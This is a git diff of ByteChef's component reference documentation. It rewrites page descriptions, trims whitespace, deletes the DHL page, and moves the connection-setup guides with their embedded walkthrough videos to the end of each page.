+| inputDate | Date | DATE_TIME |  | true |
 | dateFormat | Date Format | STRING <details> <summary> Options </summary> <span title="Sun Sep 17 2023 11:23:58">EEE MMM dd yyyy HH:mm:ss</span>, <span title="Sun Sep 17 11:23:58 2023">EEE MMM dd HH:mm:ss yyyy</span>, <span title="September 17 2023 11:23:58">MMMM dd yyyy HH:mm:ss</span>, <span title="September 17 2023">MMMM dd yyyy</span>, <span title="Sep 17 2023">MMM dd yyyy</span>, <span title="2023-09-17T11:23:58">yyyy-MM-dd'T'HH:mm:ss</span>, <span title="2023-09-17 11:23:58">yyyy-MM-dd HH:mm:ss</span>, <span title="2023-09-17">yyyy-MM-dd</span>, <span title="09-17-2023">MM-dd-yyyy</span>, <span title="09/17/2023">MM/dd/yyyy</span>, <span title="09/17/23">MM/dd/yy</span>, <span title="17-09-2023">dd-MM-yyyy</span>, <span title="17/09/2023">dd/MM/yyyy</span>, <span title="17.09.2023">dd.MM.yyyy</span>, <span title="17/09/23">dd/MM/yy</span>, <span title="17.09.23">dd.MM.yy</span>, <span title="1694949838">UnixTimestamp</span> </details> | Here's what each part of the format (eg. YYYY) means: yyyy : Year (4 digits) yy : Year (2 digits) MMMM : Month (full name) MMM : Month (short name) MM : Month (2 digits) EEE : Day (short name) dd : Day (2 digits) HH : Hour (2 digits) mm : Minute (2 digits) ss : Second (2 digits). | true |
 | year | Year | INTEGER | Years to subtract. | false |
 | month | Month | INTEGER | Months to subtract. | false |
@@ -778,7 +322,7 @@ Name: subtractTime
   "label" : "Subtract Time",
   "name" : "subtractTime",
   "parameters" : {
-    "date" : "2021-01-01T00:00:00",
+    "inputDate" : "2021-01-01T00:00:00",
     "dateFormat" : "",
     "year" : 1,
     "month" : 1,
@@ -795,16 +339,4 @@ Name: subtractTime
 
 
 
-Type: DATE_TIME
-
-
-
-
-
-
-
-
-
-
-
-
+Type: DATE_TIME
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/deepseek_v1.mdx b/docs/content/docs/reference/components/deepseek_v1.mdx
index 649321c284b..4156c45829b 100644
--- a/docs/content/docs/reference/components/deepseek_v1.mdx
+++ b/docs/content/docs/reference/components/deepseek_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "DeepSeek"
-description: "DeepSeek AI provides the open-source DeepSeek V3 model, renowned for its cutting-edge reasoning and problem-solving capabilities."
+description: "Deepseek integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: DeepSeek
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -104,12 +102,4 @@ Name: ask
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/delay_v1.mdx b/docs/content/docs/reference/components/delay_v1.mdx
index 26d7a0b3441..cbba340d58b 100644
--- a/docs/content/docs/reference/components/delay_v1.mdx
+++ b/docs/content/docs/reference/components/delay_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Delay"
-description: "Sets a value which can then be referenced in other tasks."
+description: "Delay component for ByteChef. Pause workflow execution with configurable time intervals between steps. Learn how to implement this in your ByteChef automation."
+title: Delay
 ---
 
-
 Categories: Helpers
 
 
@@ -42,12 +41,4 @@ Name: sleep
 
 #### Output
 
-This action does not produce any output.
-
-
-
-
-
-
-
-
+This action does not produce any output.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/devto_v1.mdx b/docs/content/docs/reference/components/devto_v1.mdx
index 94fba8cf597..57d838ec1d2 100644
--- a/docs/content/docs/reference/components/devto_v1.mdx
+++ b/docs/content/docs/reference/components/devto_v1.mdx
@@ -30,37 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Follow these steps to generate a Dev.to API Key and configure the ByteChef connection.
-
-Prerequisites:
-- You have an active account at [dev.to](https://dev.to/)
-
-Steps to generate an API Key on Dev.to:
-1. Log in to your [dev.to](https://dev.to/) account.
-2. Open Settings: click your avatar (top‑right) → Settings, or go directly to [https://dev.to/settings](https://dev.to/settings).
-3. In the left sidebar, select **Extensions**, or go directly to [https://dev.to/settings/extensions](https://dev.to/settings/extensions).
-4. Scroll to the section **DEV Community API Keys**.
-5. Enter a description/name for the key and click **Generate API Key**.
-6. A dropdown will appear under the button. Expand it to reveal your new API key.
-7. Copy the API key and store it securely. You can revoke it at any time from the same page.
-
-Configure the ByteChef Dev.to connection:
-1. In ByteChef, create a new Dev.to connection.
-2. Paste the API key into the "API Key" field.
-3. Save the connection. ByteChef will use this key by sending it in the `api-key` HTTP header to `https://dev.to/api`.
-
-Notes and troubleshooting:
-- Treat the API key like a password. Do not share it or commit it to source control.
-- If you receive 401 Unauthorized errors, verify that the key is correct and has not been revoked.
-- You can create multiple keys (e.g., for different environments) and revoke them individually.
-- Dev.to API reference and authentication details: https://developers.forem.com/api/#section/Authentication
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/N8M9MauluTHM73YQD0u8?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -167,8 +136,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Article
 Name: getArticle
 
@@ -262,8 +229,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Article
 Name: updateArticle
 
@@ -366,11 +331,43 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Follow these steps to generate a Dev.to API Key and configure the ByteChef connection.
+
+Prerequisites:
+- You have an active account at [dev.to](https://dev.to/)
+
+Steps to generate an API Key on Dev.to:
+1. Log in to your [dev.to](https://dev.to/) account.
+2. Open Settings: click your avatar (top‑right) → Settings, or go directly to [https://dev.to/settings](https://dev.to/settings).
+3. In the left sidebar, select **Extensions**, or go directly to [https://dev.to/settings/extensions](https://dev.to/settings/extensions).
+4. Scroll to the section **DEV Community API Keys**.
+5. Enter a description/name for the key and click **Generate API Key**.
+6. A dropdown will appear under the button. Expand it to reveal your new API key.
+7. Copy the API key and store it securely. You can revoke it at any time from the same page.
+
+Configure the ByteChef Dev.to connection:
+1. In ByteChef, create a new Dev.to connection.
+2. Paste the API key into the "API Key" field.
+3. Save the connection. ByteChef will use this key by sending it in the `api-key` HTTP header to `https://dev.to/api`.
+
+Notes and troubleshooting:
+- Treat the API key like a password. Do not share it or commit it to source control.
+- If you receive 401 Unauthorized errors, verify that the key is correct and has not been revoked.
+- You can create multiple keys (e.g., for different environments) and revoke them individually.
+- Dev.to API reference and authentication details: https://developers.forem.com/api/#section/Authentication
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/N8M9MauluTHM73YQD0u8?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/dhl_v1.mdx b/docs/content/docs/reference/components/dhl_v1.mdx
deleted file mode 100644
index 15cf770b4ec..00000000000
--- a/docs/content/docs/reference/components/dhl_v1.mdx
+++ /dev/null
@@ -1,132 +0,0 @@
----
-title: "DHL"
-description: "DHL is the global leader in the logistics industry. Specializing in international shipping, courier services and transportation."
----
-
-
-Categories: Customer Support
-
-
-Type: dhl/v1
-
-<hr />
-
-
-
-
-## Connections
-
-Version: 1
-
-
-### API Key
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| key | Key | STRING |  | true |
-| value | API Key | STRING |  | true |
-
-
-
-## Connection Setup
-
-1. Navigate to https://developer.dhl.com/.
-2. Click on the profile icon.
-3. Click on **Create App**.
-4. Enter apps name.
-5. Enter **Shipment Tracking - Unified** and select it.
-    When adding custom actions here you have to add additional APIs that your action will use.
-6. Click on **+**.
-7. Click on **Create App**.
-8. Click on your new app.
-9. Here you can see your API Key.
-10. You will be able to use your API Key after your app is enabled by the DHL team.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/1b6c84b9-8800-4dd8-9abc-637ba725fbaa?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
-
-
-<hr />
-
-
-## Actions
-
-
-### Track Shipment
-Name: trackShipment
-
-`Retrieves the tracking information for shipments.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| trackingNumber | Tracking Number | STRING | The tracking number of the shipment for which to return the information. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Track Shipment",
-  "name" : "trackShipment",
-  "parameters" : {
-    "trackingNumber" : ""
-  },
-  "type" : "dhl/v1/trackShipment"
-}
-```
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| url | STRING | A link to current page. |
-| prevUrl | STRING | A link to the previous page. |
-| nextUrl | STRING | A link to the next page. |
-| firstUrl | STRING | A link to the first page. |
-| lastUrl | STRING | A link to the last page. |
-| shipments | ARRAY <details> <summary> Items </summary> [&#123;&#125;] </details> | An array of unified tracking shipments. |
-| possibleAdditionalShipmentsUrl | ARRAY <details> <summary> Items </summary> [STRING] </details> | An array of business services, where should be potentially shipment found. |
-
-
-
-
-#### Output Example
-```json
-{
-  "url" : "",
-  "prevUrl" : "",
-  "nextUrl" : "",
-  "firstUrl" : "",
-  "lastUrl" : "",
-  "shipments" : [ { } ],
-  "possibleAdditionalShipmentsUrl" : [ "" ]
-}
-```
-
-### How to find your tracking number
-
-A tracking number or ID is a combination of numbers and possibly letters that uniquely identifies your shipment for national or international tracking.
-
-Usually, the shipper or online shop is able to provide the tracking number or ID. If you have ordered a product in an online shop, the confirmation email or shipment tracking notification often contains the tracking number or ID.
-
-
-
-
-
-## What to do if your action is not listed here?
-
-If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
-
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
diff --git a/docs/content/docs/reference/components/discord_v1.mdx b/docs/content/docs/reference/components/discord_v1.mdx
index 1205467b373..352d569561b 100644
--- a/docs/content/docs/reference/components/discord_v1.mdx
+++ b/docs/content/docs/reference/components/discord_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Discord"
-description: "Discord is a communication platform designed for creating communities, chatting with friends, and connecting with others through text, voice, and video channels."
+description: "Discord integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Discord
 ---
 
-
 Categories: Communication
 
 
@@ -29,15 +28,6 @@ Version: 1
 
 
 
-![anl-c-discord-md](https://static.scarf.sh/a.png?x-pxid=8dad9aeb-34e5-47b6-917f-5423fe8d2b0c)
-## Connection Setup
-
-[Setting up OAuth2](https://discordjs.guide/preparations/adding-your-bot-to-servers.html#bot-invite-links)
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/31087152-2446-4f70-a391-79f49c45190a?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -143,8 +133,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Channel
 Name: createChannel
 
@@ -223,8 +211,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Direct Message
 Name: sendDirectMessage
 
@@ -324,11 +310,21 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+![anl-c-discord-md](https://static.scarf.sh/a.png?x-pxid=8dad9aeb-34e5-47b6-917f-5423fe8d2b0c)
+## Connection Setup
+
+[Setting up OAuth2](https://discordjs.guide/preparations/adding-your-bot-to-servers.html#bot-invite-links)
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/31087152-2446-4f70-a391-79f49c45190a?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/document-enricher_v1.mdx b/docs/content/docs/reference/components/document-enricher_v1.mdx
index a2bd088e398..a860a68a4b4 100644
--- a/docs/content/docs/reference/components/document-enricher_v1.mdx
+++ b/docs/content/docs/reference/components/document-enricher_v1.mdx
@@ -1,18 +1,11 @@
 ---
-title: "Document Enricher"
-description: "Document Enricher."
+description: "Document Enricher component for ByteChef. Enhance and enrich documents with additional data and metadata in your workflows."
+title: Document Enricher
 ---
 
-
 Categories: Artificial Intelligence
 
 
 Type: documentEnricher/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/document-joiner_v1.mdx b/docs/content/docs/reference/components/document-joiner_v1.mdx
index 429e07be5e6..850c3486f69 100644
--- a/docs/content/docs/reference/components/document-joiner_v1.mdx
+++ b/docs/content/docs/reference/components/document-joiner_v1.mdx
@@ -1,18 +1,11 @@
 ---
-title: "Document Joiner"
-description: "Document Joiner."
+description: "Document Joiner component. Combine multiple documents into single files. Merge PDFs and documents. Learn how to implement this in your ByteChef automation."
+title: Document Joiner
 ---
 
-
 Categories: Artificial Intelligence
 
 
 Type: documentJoiner/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/document-reader_v1.mdx b/docs/content/docs/reference/components/document-reader_v1.mdx
index 443c4ccd4d0..3ec468f6c6c 100644
--- a/docs/content/docs/reference/components/document-reader_v1.mdx
+++ b/docs/content/docs/reference/components/document-reader_v1.mdx
@@ -1,18 +1,11 @@
 ---
-title: "Document Reader"
-description: "Document Reader."
+description: "Document Reader component for ByteChef. Extract and read document content. Parse text from PDFs and documents."
+title: Document Reader
 ---
 
-
 Categories: Artificial Intelligence
 
 
 Type: documentReader/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/document-splitter_v1.mdx b/docs/content/docs/reference/components/document-splitter_v1.mdx
index 9cdc0a4ad2f..1e874732272 100644
--- a/docs/content/docs/reference/components/document-splitter_v1.mdx
+++ b/docs/content/docs/reference/components/document-splitter_v1.mdx
@@ -1,18 +1,11 @@
 ---
-title: "Document Splitter"
-description: "Document Splitter."
+description: "Document Splitter component for ByteChef. Split documents into multiple parts. Divide large files into smaller chunks."
+title: Document Splitter
 ---
 
-
 Categories: Artificial Intelligence
 
 
 Type: documentSplitter/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/docusign_v1.mdx b/docs/content/docs/reference/components/docusign_v1.mdx
index 5b3d1242e98..fe3757333cc 100644
--- a/docs/content/docs/reference/components/docusign_v1.mdx
+++ b/docs/content/docs/reference/components/docusign_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "DocuSign"
-description: "DocuSign is a cloud-based e-signature platform that enables secure digital document signing and workflow automation."
+description: "Docusign integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: DocuSign
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -33,29 +32,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create DocuSign App
-
-1. Navigate to [DocuSign Admin page](https://apps-d.docusign.com/admin/apps-and-keys).
-2. Click on "Add App and Integration Key".
-3. Enter app name and click on "Create App".
-4. Here you can see your "Integration Key".
-5. Select "Third-party integration key".
-6. Click here.
-7. Click on "Add Secret Key".
-8. Copy your "Secret Key" because you will not be able to access it again.
-9. Click on "Add URI".
-10. Add https://app.bytechef.io/callback or http://127.0.0.1:5173/callback.
-11. Click this icon.
-12. Check every HTTP method.
-13. Click on "Save".
-14. Here you can see "API Account ID" and "Account Base URI".
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/c280627b-cbad-41db-a37f-ce77ccb01c01?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -142,8 +118,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Download Envelope Document
 Name: downloadEnvelopeDocument
 
@@ -203,5 +177,29 @@ Type: FILE_ENTRY
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
 
+### Create DocuSign App
+
+1. Navigate to [DocuSign Admin page](https://apps-d.docusign.com/admin/apps-and-keys).
+2. Click on "Add App and Integration Key".
+3. Enter app name and click on "Create App".
+4. Here you can see your "Integration Key".
+5. Select "Third-party integration key".
+6. Click here.
+7. Click on "Add Secret Key".
+8. Copy your "Secret Key" because you will not be able to access it again.
+9. Click on "Add URI".
+10. Add https://app.bytechef.io/callback or http://127.0.0.1:5173/callback.
+11. Click this icon.
+12. Check every HTTP method.
+13. Click on "Save".
+14. Here you can see "API Account ID" and "Account Base URI".
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/c280627b-cbad-41db-a37f-ce77ccb01c01?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/dropbox_v1.mdx b/docs/content/docs/reference/components/dropbox_v1.mdx
index c428e846092..ac28aeaf946 100644
--- a/docs/content/docs/reference/components/dropbox_v1.mdx
+++ b/docs/content/docs/reference/components/dropbox_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Dropbox"
-description: "Dropbox is a file hosting service that offers cloud storage, file synchronization, personal cloud, and client software."
+description: "Dropbox integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Dropbox
 ---
 
-
 Categories: File Storage
 
 
@@ -30,28 +29,6 @@ Version: 1
 
 
 
-![anl-c-dropbox-md](https://static.scarf.sh/a.png?x-pxid=8999e724-f122-49be-a4bb-139c6576aec3)
-## Connection Setup
-
-Connect Dropbox to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Dropbox OAuth app
-
-1. Open the [App Console](https://www.dropbox.com/developers/apps). Click on **Create app**.
-2. In Choose an API, select Scoped access. Choose the type of access you need and enter a name for your app. Click **Create app**.
-3. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://localhost:5173/callback`
-4. Click on **Show**.
-5. Copy the **App key** and **Secret**.
-6. Go to **Permissions** tab.
-7. Select scopes: `files.metadata.write`, `files.content.write` and `openId`.
-8. Click **Submit**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/756fb792-9de7-4ac9-b58a-c8c8a95fab66?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -116,8 +93,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create New Folder
 Name: createFolder
 
@@ -170,8 +145,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create New Paper File
 Name: createTextFile
 
@@ -241,8 +214,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete
 Name: delete
 
@@ -297,8 +268,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get File Link
 Name: getFileLink
 
@@ -355,8 +324,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### List Folder
 Name: listFolder
 
@@ -409,8 +376,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Move
 Name: move
 
@@ -467,8 +432,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Search
 Name: search
 
@@ -523,8 +486,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Upload File
 Name: uploadFile
 
@@ -601,11 +562,34 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+![anl-c-dropbox-md](https://static.scarf.sh/a.png?x-pxid=8999e724-f122-49be-a4bb-139c6576aec3)
+## Connection Setup
+
+Connect Dropbox to ByteChef using OAuth 2.0 (Authorization Code).
+
+### Create a Dropbox OAuth app
+
+1. Open the [App Console](https://www.dropbox.com/developers/apps). Click on **Create app**.
+2. In Choose an API, select Scoped access. Choose the type of access you need and enter a name for your app. Click **Create app**.
+3. Add the ByteChef OAuth redirect (callback) URL(s):
+    - Cloud: `https://app.bytechef.io/callback`
+    - Local development: `http://localhost:5173/callback`
+4. Click on **Show**.
+5. Copy the **App key** and **Secret**.
+6. Go to **Permissions** tab.
+7. Select scopes: `files.metadata.write`, `files.content.write` and `openId`.
+8. Click **Submit**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/756fb792-9de7-4ac9-b58a-c8c8a95fab66?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/elevenlabs_v1.mdx b/docs/content/docs/reference/components/elevenlabs_v1.mdx
index 739b4dff800..2ac40425daf 100644
--- a/docs/content/docs/reference/components/elevenlabs_v1.mdx
+++ b/docs/content/docs/reference/components/elevenlabs_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "ElevenLabs"
-description: "ElevenLabs is an AI-powered voice synthesis company specializing in ultra-realistic text-to-speech and voice cloning technology."
+description: "Elevenlabs integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: ElevenLabs
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -30,23 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find OAuth Client ID and Client Secret
-
-1. Navigate to your dashboard.
-2. Click on **Developers**.
-3. Click on **Create an API Key**.
-4. Click on **Create Key**.
-5. Enable desired endpoints.
-6. Click on **Create Key**.
-7. Click on **Copy to Clipboard**.
-8. Click on **Close**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/35f5cbb1-df9f-4d67-a5d0-794d3e8d6752?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -108,8 +90,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Create Speech
 Name: createSpeech
 
@@ -165,8 +145,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Create Speech With Timing
 Name: createSpeechWithTiming
 
@@ -228,8 +206,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Transcript
 Name: createTranscript
 
@@ -297,5 +273,23 @@ Type: OBJECT
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find OAuth Client ID and Client Secret
 
+1. Navigate to your dashboard.
+2. Click on **Developers**.
+3. Click on **Create an API Key**.
+4. Click on **Create Key**.
+5. Enable desired endpoints.
+6. Click on **Create Key**.
+7. Click on **Copy to Clipboard**.
+8. Click on **Close**
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/35f5cbb1-df9f-4d67-a5d0-794d3e8d6752?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/email_v1.mdx b/docs/content/docs/reference/components/email_v1.mdx
index c15bc7c4151..2172d6525ef 100644
--- a/docs/content/docs/reference/components/email_v1.mdx
+++ b/docs/content/docs/reference/components/email_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Email"
-description: "The Email connector sends emails using an SMTP email server."
+description: "Email integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Email
 ---
 
-
 Categories: Communication, Helpers
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -90,8 +88,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Get Mail
 Name: get
 
@@ -155,10 +151,4 @@ Items Type: OBJECT
   "hasAttachments" : false,
   "subject" : ""
 } ]
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/encharge_v1.mdx b/docs/content/docs/reference/components/encharge_v1.mdx
index 3116b6a2ab1..265361c1aef 100644
--- a/docs/content/docs/reference/components/encharge_v1.mdx
+++ b/docs/content/docs/reference/components/encharge_v1.mdx
@@ -30,17 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to your Encharge dashboard.
-2. Click on your profile icon in the top right corner and select **Your Account**.
-3. Copy **API Key** and use it in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/UFF1mx0JnE56hKDlrOYq?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
-
 
 
 <hr />
@@ -108,8 +97,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create People
 Name: createPeople
 
@@ -172,8 +159,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Add Tag
 Name: addTag
 
@@ -208,11 +193,23 @@ This action does not produce any output.
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Login to your Encharge dashboard.
+2. Click on your profile icon in the top right corner and select **Your Account**.
+3. Copy **API Key** and use it in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/UFF1mx0JnE56hKDlrOYq?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
diff --git a/docs/content/docs/reference/components/example_v1.mdx b/docs/content/docs/reference/components/example_v1.mdx
index 2559edf23a6..fad5eb6e572 100644
--- a/docs/content/docs/reference/components/example_v1.mdx
+++ b/docs/content/docs/reference/components/example_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Example"
-description: "Component description."
+description: "Example component for ByteChef. Learn how to build, test, and integrate custom components. See component development best practices."
+title: Example
 ---
 
-
 Categories: Helpers
 
 
@@ -22,7 +21,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -57,8 +55,6 @@ Type: STRING
 
 
 
-
-
 ## Triggers
 
